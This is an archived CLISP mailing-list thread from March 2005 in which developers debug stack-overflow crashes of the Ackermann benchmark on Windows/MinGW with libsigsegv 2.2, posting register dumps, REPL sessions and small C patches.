8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x433ad5 Params: 0x1, 0x220232dc, Registers: eip = 0x433ad5 eax = 0x4dc201, ebx = 0xbd1054, ecx = 0xbd1048, edx = 0x220232d5 esi = 0x22028e65, edi = 0x220289fa, ebp = 0x22bbe8, esp = 0x22ba60 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x433a7f Params: 0x1, 0x22074b6c, Registers: eip = 0x433a7f eax = 0x4dc201, ebx = 0xbd100c, ecx = 0x2215d2dd, edx = 0x22074b65 esi = 0x22bba0, edi = 0x22074b2d, ebp = 0x22bb68, esp = 0x22ba30 [1]> Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x49fc2a Params: 0x1, 0x2201dbc0, Registers: eip = 0x49fc2a eax = 0x2201dbad, ebx = 0xbd1098, ecx = 0x1, edx = 0xbd1094 esi = 0xbd1080, edi = 0x22b590, ebp = 0x22b478, esp = 0x22b470 (defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((z erop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n)))))) Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x425980 Params: 0x1, 0x2210cfb8, Registers: eip = 0x425980 eax = 0x28, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80 esi = 0x0, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x425980 Params: 0x1, 0x2210d000, Registers: eip = 0x425980 eax = 0x6d, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80 esi = 0x12, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x425c24 Params: 0x1, 0x22030fcc, Registers: eip = 0x425c24 eax = 0x0, ebx = 0xbd1120, ecx = 0x2201dbc5, edx = 0xd esi = 0x64, edi = 0x22030fc5, ebp = 0x22b2b8, esp = 0x22b2a0 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x4afb8b Params: 0x1, 0x22010cd0, Registers: eip = 0x4afb8b eax = 0x22010bdd, ebx = 0xbd1118, ecx = 0x3f, edx = 0x3b esi = 0x22010ce1, edi = 0x2216567d, ebp = 0x22b2d8, esp = 0x22b2b0 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x4587cf Params: 0x1, 0x2201c5d0, Registers: eip = 0x4587cf eax = 0xd9944738, ebx = 0xbd10d0, ecx = 0x0, edx = 0xec4cb9ca esi = 0x2201c5c9, edi = 0x2201c5d0, ebp = 0x22aec8, esp = 0x22aea0 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x433ad5 Params: 0x1, 0x2202617c, Registers: eip = 0x433ad5 eax = 0x4dc201, ebx = 0xbd10e0, ecx = 0xbd10d4, edx = 0x22026175 esi = 0x220281d1, edi = 0x220281c5, ebp = 0x22b058, esp = 0x22af20 Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x433ad5 Params: 0x1, 0x22025f78, Registers: eip = 0x433ad5 eax = 0x4dc201, ebx = 0xbd10ec, ecx = 0xbd10e0, edx = 0x22025f71 esi = 0x220281d1, edi = 0x220281c8, ebp = 0x22b058, esp = 0x22af20 ACKERMANN [2]> (ackermann 3 11) Exception! Code = 0xc00000fd Flags = 0x0 Address = 0x435637 Params: 0x1, 0x32ffc, Registers: eip = 0x435637 eax = 0x221656a9, ebx = 0xc21428, ecx = 0x0, edx = 0x4daaa2 esi = 0x5d03e2b3, edi = 0x4daaa2, ebp = 0x33048, esp = 0x32fe0 *** - Program stack overflow. RESET Exception! Code = 0xc00000fd Flags = 0x0 Address = 0x42d4f0 Params: 0x0, 0x31ffc, Registers: eip = 0x42d4f0 eax = 0x42d4c0, ebx = 0x32000, ecx = 0x77c3ef3b, edx = 0x0 esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98 *** - Program stack overflow. RESET Exception! Code = 0xc0000005 Flags = 0x0 Address = 0x42d4f0 Params: 0x0, 0x30ffc, Registers: eip = 0x42d4f0 eax = 0x42d4c0, ebx = 0x31000, ecx = 0x77c3ef3b, edx = 0x0 esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98 *** - handle_fault error2 ! address = 0x30ffc not in [0x22010000,0x2215e538) ! SIGSEGV cannot be cured. Fault address = 0x30ffc. Permanently allocated: 88384 bytes. Currently in use: 1733100 bytes. Free space: 491252 bytes. Wednesday, March 23, 2005, 11:10:41 AM, you wrote: > [This picks up a thread started with Bruno re: libsigsegv 2.2 -- the > problems are (a) stack overflow when there is plenty of memory, and > (b) an Access Violation crash on the 2nd stack overflow.] > I tried getting more info by running a debug version of CLISP built with > ./configure --with-debug --with-mingw --build build-g ; > but built this way, there is no crash, but the stack doesn't grow > enough to compute (ackermann 3 11). > On the other hand, I got a strange error, as you can see in the > console dribble below > EVAL: variable L has no value > in the evaluation of (run-ackermann). > It looks like the GENERATIONAL_GC is not used in the debug version; > perhaps this is a clue. > e > $ uname -a > MINGW32_NT-5.1 DAWNE 1.0.11(0.46/3/2) 2004-04-30 18:55 i686 unknown > $ ./clisp --version > GNU CLISP 2.33.83 (2005-03-14) (built 3320580763) (memory 3320581251) > Software: GNU C 3.4.2 (mingw-special) > gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -Wno-sign-compare -falign-functions=4 -D_WIN32 -g > -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE > -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none > libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 > -loleaut32 -luuid -L/usr/local/lib -lsigsegv > SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.2 > Features: > (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL > INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE > BASE-CHAR=CHARACTER PC386 WIN32) > Installation directory: C:\dev\clisp\clisp\build-g\ > User language: ENGLISH > Machine: PC/386 (PC/686) dawne [192.168.168.26] > Reserved address range 0x22010000-0x5d08ffff . > STACK depth: 16363 > SP depth: 1073612826 > i i i i i i i ooooo o ooooooo ooooo ooooo > I I I I I I I 8 8 8 8 8 o 8 8 > I \ `+' / I 8 8 8 8 8 8 > \ `-+-' / 8 8 8 ooooo 8oooo > `-__|__-' 8 8 8 8 8 > | 8 o 8 8 o 8 8 > ------+------ ooooo 8oooooo ooo8ooo ooooo 8 > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2000 > Copyright (c) Sam Steingold, Bruno Haible 2001-2005 > [1]> (defun ackermann (m n) > (declare (type integer m n)) > (cond > ((zerop m) (1+ n)) > ((zerop n) (ackermann (1- m) 1)) > (t (ackermann (1- m) (ackermann m (1- n)))))) > ACKERMANN > [2]> (defun run-ackermann () > (ackermann 3 11)) > RUN-ACKERMANN > [3]> (run-ackermann) > *** - EVAL: variable L has no value > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of L. > STORE-VALUE :R2 You may input a new value for L. > ABORT :R3 ABORT > Break 1 [4]> :r3 > [5]> (run-ackermann) > *** - EVAL: variable L has no value > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of L. > STORE-VALUE :R2 You may input a new value for L. > ABORT :R3 ABORT > Break 1 [6]> (ackermann 3 11) > *** - Program stack overflow. RESET > Break 1 [6]> (ackermann 3 11) > *** - Program stack overflow. RESET > Break 1 [6]> (ackermann 3 11) > *** - Program stack overflow. RESET > Break 1 [6]> :abort > :ABORT > Break 1 [6]> (reset) > *** - EVAL: undefined function RESET > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of (FDEFINITIO > 'RESET). > RETRY :R2 Retry > STORE-VALUE :R3 You may input a new value for (FDEFINITION 'RESET). > ABORT :R4 ABORT > ABORT :R5 ABORT > Break 2 [7]> :r5 > [8]> (ackermann 3 11) > *** - Program stack overflow. RESET > [9]> (ackermann 3 11) > *** - Program stack overflow. RESET > [10]> (ackermann 3 11) > *** - Program stack overflow. RESET > [11]> (ackermann 3 11) > *** - Program stack overflow. RESET > [12]> *features* > (:REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP > :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN > :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) > [13]> > Tuesday, March 22, 2005, 7:03:36 PM, I wrote: >> I can generate this problem simply by defining >> (defun ackermann (m n) >> (declare (type integer m n)) >> (cond >> ((zerop m) (1+ n)) >> ((zerop n) (ackermann (1- m) 1)) >> (t (ackermann (1- m) (ackermann m (1- n)))))) >> (defun run-ackermann () >> (ackermann 3 11)) >> and entering >> (run-ackermann) >> in a clisp console twice. The first time it gives the >> *** - Program stack overflow. RESET >> message. The second time it gives the message, and crashes. >> GNU CLISP 2.33.83 (2005-03-14) (built 3320497605) (memory 3320497960) >> Software: GNU C 3.4.2 (mingw-special) >> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit >> -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations >> -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT >> -I. -x none libcharset.a libavcall.a libcallback.a -luser32 >> -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv >> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC >> SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY >> libsigsegv 2.2 >> Features: >> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL >> INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE >> BASE-CHAR=CHARACTER PC386 WIN32) >> Installation directory: C:\Dev\clisp\clisp\build-mingw\ >> User language: ENGLISH >> Machine: PC/386 (PC/686) dawne [192.168.168.26] >> Whereas in 2.33.2 I get no crash... >> [1]> *features* >> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL >> :INTERPRETER :SOCKETS :GENERIC-STREAMS >> :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) >> [2]> (defun ackermann (m n) >> (declare (type integer m n)) >> (cond >> ((zerop m) (1+ n)) >> ((zerop n) (ackermann (1- m) 1)) >> (t (ackermann (1- m) (ackermann m (1- n)))))) >> ACKERMANN >> [3]> (defun run-ackermann () >> (ackermann 3 11)) >> RUN-ACKERMANN >> [4]> (RUN-ACKERMANN) >> *** - Lisp stack overflow. RESET >> [5]> (RUN-ACKERMANN) >> *** - Lisp stack overflow. RESET >> [6]> (RUN-ACKERMANN) >> *** - Lisp stack overflow. RESET >> [7]> (RUN-ACKERMANN) >> *** - Lisp stack overflow. RESET >> [8]> >> Regards, >> e >> Earlier I wrote... >> Monday, March 14, 2005, 8:17:59 AM, you wrote: >>>> libsigsegv: i386-pc-mingw32 | yes | yes | 2.2 >>> Thanks, I'm adding this to the PORTING file. >> Hmm. I just tried running cl-bench with clisp built from CVS using >> libsigsegv 2.2 and got an Access Violation crash. Below is the DrMinGW >> dump. The console said: >> === running # >> === running # >> *** - Program stack overflow. RESET >> *** - Program stack overflow. RESET >> >> There were no ACKERMANN results in the cl-bench report. >> Regards, >> e >> lisp.exe caused an Access Violation at location 0041b948 in >> module lisp.exe Reading from location 00030ffc. >> Registers: >> eax=004dc201 ebx=00031000 ecx=0041b930 edx=00000000 esi=00000000 edi=00030000 >> eip=0041b948 esp=0022fd98 ebp=0022fdb0 iopl=0 nv up ei pl zr na po nc >> cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 >> Call stack: >> 0041B948 lisp.exe:0041B948 >> 0041BC6D lisp.exe:0041BC6D >> 0041BC92 lisp.exe:0041BC92 >> 004D0E15 lisp.exe:004D0E15 stack_overflow_handler handler-win32.c:116 >> static void stack_overflow_handler( >> long unsigned int faulting_page_address = 2292428, >> stackoverflow_context_t context = &{ >> DWORD ContextFlags = , >> DWORD Dr0 = , >> DWORD Dr1 = , >> DWORD Dr2 = , >> DWORD Dr3 = , >> DWORD Dr6 = , >> DWORD Dr7 = , >> FLOATING_SAVE_AREA FloatSave = { >> DWORD ControlWord = , >> DWORD StatusWord = , >> DWORD TagWord = , >> DWORD ErrorOffset = , >> DWORD ErrorSelector = , >> DWORD DataOffset = , >> DWORD DataSelector = , >> BYTEuint32[] RegisterArea = (array), >> DWORD Cr0NpxState = >> }, >> DWORD SegGs = , >> DWORD SegFs = , >> DWORD SegEs = , >> DWORD SegDs = , >> DWORD Edi = , >> DWORD Esi = , >> DWORD Ebx = , >> DWORD Edx = , >> DWORD Ecx = , >> DWORD Eax = , >> DWORD Ebp = , >> DWORD Eip = , >> DWORD SegCs = , >> DWORD EFlags = , >> DWORD Esp = , >> DWORD SegSs = , >> BYTEuint32[] ExtendedRegisters = (array) >> } >> ) >> ... >> ok: >> for (;;) >>> (*stk_user_handler) (0, context); >> } >> ... > ------------------------------------------------------------------------ > The information in this email and its attachment(s) are intended for > the exclusive use of the addressee(s) and should be assumed to contain > confidential and/or privileged information. If you are not an intended > recipient be aware that any review, disclosure, copying, modifying, > distribution, or use of this information is prohibited. If you have > received this email in error, please forward this message and notify > Flavors Inc immediately at postmaster@flavors.com > ------------------------------------------------------- > This SF.net email is sponsored by Microsoft Mobile & Embedded DevCon 2005 > Attend MEDC 2005 May 9-12 in Vegas. Learn more about the latest Windows > Embedded(r) & Windows Mobile(tm) platforms, applications & content. Register > by 3/29 & save $300 > http://ads.osdn.com/?ad_id=6883&alloc_id=15149&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > ------------------------------------------------------------------------ > The information in this email and its attachment(s) are intended for > the exclusive use of the addressee(s) and should be assumed to contain > confidential and/or privileged information. If you are not an intended > recipient be aware that any review, disclosure, copying, modifying, > distribution, or use of this information is prohibited. If you have > received this email in error, please forward this message and notify > Flavors Inc immediately at postmaster@flavors.com From sds@gnu.org Thu Mar 24 15:30:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEbmp-0001cn-KQ for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 15:30:47 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DEbmn-0001r7-1G for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 15:30:47 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO loiso.podval.org) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 24 Mar 2005 18:30:43 -0500 X-IronPort-AV: i="3.91,120,1110171600"; d="scan'208"; a="14635387:sNHT21041808" Received: by loiso.podval.org (Postfix, from userid 500) id CFC0621E1D6; Thu, 24 Mar 2005 18:30:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050322000506.79CD310FC26@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 22 Mar 2005 01:05:06 +0100 (CET)") References: <20050322000506.79CD310FC26@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Internal error: statement in file "pathname.d", line 1082 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 24 15:31:22 2005 X-Original-Date: Thu, 24 Mar 2005 18:30:42 -0500 > * Pascal J.Bourguignon [2005-03-22 01:05:06 +0100]: > > Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.") > > *** - Internal error: statement in file "pathname.d", line 1082 has been reached!! > Please send the authors of the program a description how you produced > this error! do you get something similar on (logical-pathname "sys:foo.bar.") (instead of a parse-error?) does the appended patch fix the problem? thanks for the bug report! -- Sam Steingold (http://www.podval.org/~sds) running FC3 GNU/Linux usually: can't pay ==> don't buy. software: can't buy ==> don't pay --- pathname.d 18 Mar 2005 04:16:39 -0500 1.359 +++ pathname.d 24 Mar 2005 18:16:03 -0500 @@ -1348,9 +1348,9 @@ if (eq(version,S(Kwild))) { } else if (equal(version,Symbol_name(S(Knewest)))) { version = S(Knewest); - } else if (all_digits(version)) { /* convert version into Integer */ + } else if (stringp(version) && all_digits(version)) { pushSTACK(version); funcall(L(parse_integer),1); - version = value1; + version = value1; /* version: string -> integer */ } else { version = NIL; } From e@flavors.com Thu Mar 24 22:42:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEiX4-000825-JX for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 22:42:58 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DEiX2-0004Lu-MQ for clisp-list@lists.sourceforge.net; Thu, 24 Mar 2005 22:42:58 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Fri, 25 Mar 2005 01:42:47 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <338017747.20050325014246@flavors.com> To: clisp-list@lists.sourceforge.net CC: Bruno Haible Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with libsigsegv 2.2 In-Reply-To: <871480226.20050324141918@flavors.com> References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <871480226.20050324141918@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 24 22:43:23 2005 X-Original-Date: Fri, 25 Mar 2005 01:42:46 -0500 OK, I have found some problems that were causing these crashes, and a couple fixes. One fix is to CLISP, and the other is to libsigsegv 2.2 While I believe the fixes are correct, the problem still remains in slightly different form: now the second stack overflow leads to infinite regress. The CLISP problem was simply that the case for WIN32_NATIVE in stackoverflow_handler() was missing. $ diff -u spvw_sigsegv~.d spvw_sigsegv.d --- spvw_sigsegv~.d Mon Feb 7 16:47:21 2005 +++ spvw_sigsegv.d Fri Mar 25 01:22:03 2005 @@ -153,6 +153,11 @@ if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); } #endif #endif + #ifdef WIN32_NATIVE + #ifdef I80386 + if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); } + #endif + #endif } #endif SP_ueber(); The libsigsegv 2.2 problem is that the CONTEXT and address passed up to stackoverflow_handler() were passed in the wrong order: $ diff -u handler-win32~.c handler-win32.c --- handler-win32~.c Mon Apr 28 07:01:50 2003 +++ handler-win32.c Fri Mar 25 01:29:43 2005 @@ -168,8 +175,8 @@ ExceptionInfo->ContextRecord->Esp = new_safe_esp; /* Call stack_overflow_handler(faulting_page_address). */ ExceptionInfo->ContextRecord->Eip = (unsigned long)&stack_overflow_handler; - *(unsigned long *)(new_safe_esp + 8) = faulting_page_address; - *(unsigned long *)(new_safe_esp + 4) = (unsigned long) ExceptionInfo->ContextRecord; + *(unsigned long *)(new_safe_esp + 4) = faulting_page_address; + *(unsigned long *)(new_safe_esp + 8) = (unsigned long) ExceptionInfo->ContextRecord; return EXCEPTION_CONTINUE_EXECUTION; } if (user_handler != (sigsegv_handler_t) NULL With these two fixes there are no longer any Access Violations. (!) Now, if you have any clues about the resulting infinite regress: *** - Program stack overflow. RESET *** - Program stack overflow. RESET *** - Program stack overflow. RESET *** - Program stack overflow. RESET *** - Program stack overflow. RESET *** - Program stack overflow. RESET *** - Program stack overflow. RESET ... ? e Thursday, March 24, 2005, 2:19:18 PM, I wrote: > Following up my earlier report (below) of a crash running cl-bench's > (ackermann 3 11) when clisp is compiled with libsigsegv 2.2 on WinXP > with MinGW/MSYS... > I rebuilt libsigsegv with the debug switch in handler-win32.c on. Here > is what results by simply launching clisp.exe and entering: > (defun ackermann (m n) (declare (type integer m n)) > (cond ((zerop m) (1+ n)) ((zerop n) (ackermann (1- m) 1)) > (t (ackermann (1- m) (ackermann m (1- n)))))) > (ackermann 3 11) > This is different from the last report where I had to run (ackermann 3 > 11) twice before there was a crash. > I assume all the "Code = 0xc0000005" exceptions below are normal > Generational GC write barriers. > The stack after the first stack overflow trap is at 0x32fe0 whereas > the stack starts out at about 0x22fb38. Some observations: > 1. the fault occurs at 0x30ffc which looks a lot like the stack wasn't > really unwound > 2. register ebx is 0x31000 after the second trap (0x32000 after the > first) > 3. I notice that non-windows platforms set STACK (%ebx) back to > something else from the CONTEXT inside stackoverflow_handler(). The > syntax of the UNIX_CYGWIN32 case should work in WIN32_NATIVE -- what > is this supposed to do? The value (e.g., 0x32000) doesn't look too > useful for STACK to me. > e > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x47c2c6 > Params: 0x1, 0x2215d498, > Registers: > eip = 0x47c2c6 > eax = 0x2215d445, ebx = 0xbd1008, ecx = 0x0, edx = 0x0 > esi = 0x2215d445, edi = 0x5d03f45b, ebp = 0x22fb48, esp = 0x22fb38 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x47c2c6 > Params: 0x1, 0x2213c428, > Registers: > eip = 0x47c2c6 > eax = 0x2213c3d5, ebx = 0xbd1008, ecx = 0x0, edx = 0x0 > esi = 0x2213c3d5, edi = 0x5d049d63, ebp = 0x22fb48, esp = 0x22fb38 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x47c2c6 > Params: 0x1, 0x2213b2fc, > Registers: > eip = 0x47c2c6 > eax = 0x2213b2a9, ebx = 0xbd1008, ecx = 0x0, edx = 0x0 > esi = 0x2213b2a9, edi = 0x5d049d6b, ebp = 0x22fb48, esp = 0x22fb38 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x4928e4 > Params: 0x1, 0x2201f8a8, > Registers: > eip = 0x4928e4 > eax = 0x4000031, ebx = 0xbd1008, ecx = 0x2201f8a5, edx = 0x58cd30 > esi = 0x2215f495, edi = 0x0, ebp = 0x22be28, esp = 0x22be00 > i i i i i i i ooooo o ooooooo ooooo ooooo > I I I I I I I 8 8 8 8 8 o 8 8 > I \ `+' / I 8 8 8 8 8 8 > \ `-+-' / 8 8 8 ooooo 8oooo > `-__|__-' 8 8 8 8 8 > | 8 o 8 8 o 8 8 > ------+------ ooooo 8oooooo ooo8ooo ooooo 8 > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2000 > Copyright (c) Sam Steingold, Bruno Haible 2001-2005 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x433ad5 > Params: 0x1, 0x220232dc, > Registers: > eip = 0x433ad5 > eax = 0x4dc201, ebx = 0xbd1054, ecx = 0xbd1048, edx = 0x220232d5 > esi = 0x22028e65, edi = 0x220289fa, ebp = 0x22bbe8, esp = 0x22ba60 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x433a7f > Params: 0x1, 0x22074b6c, > Registers: > eip = 0x433a7f > eax = 0x4dc201, ebx = 0xbd100c, ecx = 0x2215d2dd, edx = 0x22074b65 > esi = 0x22bba0, edi = 0x22074b2d, ebp = 0x22bb68, esp = 0x22ba30 > [1]> Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x49fc2a > Params: 0x1, 0x2201dbc0, > Registers: > eip = 0x49fc2a > eax = 0x2201dbad, ebx = 0xbd1098, ecx = 0x1, edx = 0xbd1094 > esi = 0xbd1080, edi = 0x22b590, ebp = 0x22b478, esp = 0x22b470 > (defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((z > erop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n)))))) > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x425980 > Params: 0x1, 0x2210cfb8, > Registers: > eip = 0x425980 > eax = 0x28, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80 > esi = 0x0, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x425980 > Params: 0x1, 0x2210d000, > Registers: > eip = 0x425980 > eax = 0x6d, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80 > esi = 0x12, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x425c24 > Params: 0x1, 0x22030fcc, > Registers: > eip = 0x425c24 > eax = 0x0, ebx = 0xbd1120, ecx = 0x2201dbc5, edx = 0xd > esi = 0x64, edi = 0x22030fc5, ebp = 0x22b2b8, esp = 0x22b2a0 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x4afb8b > Params: 0x1, 0x22010cd0, > Registers: > eip = 0x4afb8b > eax = 0x22010bdd, ebx = 0xbd1118, ecx = 0x3f, edx = 0x3b > esi = 0x22010ce1, edi = 0x2216567d, ebp = 0x22b2d8, esp = 0x22b2b0 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x4587cf > Params: 0x1, 0x2201c5d0, > Registers: > eip = 0x4587cf > eax = 0xd9944738, ebx = 0xbd10d0, ecx = 0x0, edx = 0xec4cb9ca > esi = 0x2201c5c9, edi = 0x2201c5d0, ebp = 0x22aec8, esp = 0x22aea0 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x433ad5 > Params: 0x1, 0x2202617c, > Registers: > eip = 0x433ad5 > eax = 0x4dc201, ebx = 0xbd10e0, ecx = 0xbd10d4, edx = 0x22026175 > esi = 0x220281d1, edi = 0x220281c5, ebp = 0x22b058, esp = 0x22af20 > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x433ad5 > Params: 0x1, 0x22025f78, > Registers: > eip = 0x433ad5 > eax = 0x4dc201, ebx = 0xbd10ec, ecx = 0xbd10e0, edx = 0x22025f71 > esi = 0x220281d1, edi = 0x220281c8, ebp = 0x22b058, esp = 0x22af20 > ACKERMANN > [2]> (ackermann 3 11) > Exception! > Code = 0xc00000fd > Flags = 0x0 > Address = 0x435637 > Params: 0x1, 0x32ffc, > Registers: > eip = 0x435637 > eax = 0x221656a9, ebx = 0xc21428, ecx = 0x0, edx = 0x4daaa2 > esi = 0x5d03e2b3, edi = 0x4daaa2, ebp = 0x33048, esp = 0x32fe0 > *** - Program stack overflow. RESET > Exception! > Code = 0xc00000fd > Flags = 0x0 > Address = 0x42d4f0 > Params: 0x0, 0x31ffc, > Registers: > eip = 0x42d4f0 > eax = 0x42d4c0, ebx = 0x32000, ecx = 0x77c3ef3b, edx = 0x0 > esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98 > *** - Program stack overflow. RESET > Exception! > Code = 0xc0000005 > Flags = 0x0 > Address = 0x42d4f0 > Params: 0x0, 